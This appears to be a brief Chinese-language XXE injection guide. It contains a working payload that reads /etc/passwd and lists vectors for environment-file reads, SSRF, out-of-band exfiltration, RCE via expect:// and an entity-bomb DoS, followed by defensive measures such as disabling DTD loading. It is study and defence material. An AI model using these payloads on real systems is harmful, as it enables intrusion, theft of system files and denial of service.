XXE XML外部实体注入完整指南:文件读取/SSRF/OOB外带/RCE/DoS,含防御方法。
写在前面:合法学习边界
XXE 攻击只在授权测试环境进行。对非授权系统利用 XXE 可能触犯法律。
一、XXE 攻击链

1
| ① 发现 XML → ② 注入 DTD → ③ 文件读取 → ④ SSRF → ⑤ OOB 外带 → ⑥ RCE
|
二、利用方式
1
2
3
4
5
| <?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
|
1
2
3
4
5
| 文件读取:file:// /proc/self/environ
SSRF:http://internal-service/
OOB 外带:读取无回显文件
RCE:php://filter · expect://
DoS:ENTITY bomb "&bomb;&bomb;"
|
三、防御方法
1
2
3
4
| 禁用 DTD:libxml_disable_entity_loader(true)
使用 JSON 替代 XML
更新依赖库到安全版本
WAF 规则检测 XXE payload
|
四、小结
XXE 攻击面广泛(文件读取/SSRF/RCE/DoS)。防御核心是禁用外部实体解析或使用 JSON 替代 XML。